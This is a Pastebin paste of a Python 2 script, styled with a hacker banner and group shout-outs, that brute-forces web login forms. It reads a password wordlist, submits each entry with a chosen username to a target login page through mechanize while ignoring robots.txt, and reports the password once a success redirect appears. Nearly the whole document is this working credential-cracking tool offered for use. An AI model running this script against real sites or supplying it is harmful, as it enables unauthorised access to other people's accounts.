Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- #!/usr/bin/python
- # Changing The Description of a Tool won't Make You Programmer!!
- import mechanize
- from mechanize import Browser
- print '''
- ______ //
- // ) ) //
- (( ______ ______ //____ ______ _____
- \\ / / // ) )//\ \ //___) ) // ) )
- ) ) / / // / / // \ \ // //
- ((___/_/ / / ((___/_/ // \_\ ((____ //
- [*] Python Universal Brute Forcer.
- [*] Author: Muhammad Adeel aka InnoXent Stoker
- [*] FB: facebook.com/xtoker
- [*] Mail: [email protected]
- ==> Love for | Xploiters | AnonGhost | PAKBugs | PHC | PCE | All Pakistani & Muslim Hackers.
- '''
- # Gathering Information...
- passlist = raw_input('Enter Your Wordlist Name: ')
- html_form = raw_input('\nEnter FormName of HTML Page: ')
- user_lable = raw_input('\nEnter UserName Lable on Page: ')
- pass_lable = raw_input('\nEnter Password Lable on Page: ')
- username = raw_input('\nEnter Username to be cracked: ')
- webpage = raw_input('\nEnter Login Page URL: ')
- webpage_redirect = raw_input('\nURL for Redirecting after Password Getting Cracked: ')
- # Real Game...
- stoker = open(passlist, 'r')
- while 1:
- password = stoker.readline()
- print "Trying Password: ", password
- bruter = mechanize.Browser()
- bruter.set_handle_robots(False)
- bruter.open(webpage)
- bruter.select_form(name=html_form)
- bruter[user_lable] = username
- bruter[pass_lable] = password
- bruter.submit()
- open_redirect = bruter.open(webpage_redirect)
- if open_redirect.geturl() == webpage_redirect:
- print "Password is Cracked, password is ==> ",password
- break
- stoker.close()
- exit = raw_input("Hit 'ENTER' to Exit")
Add Comment
Please, Sign In to add comment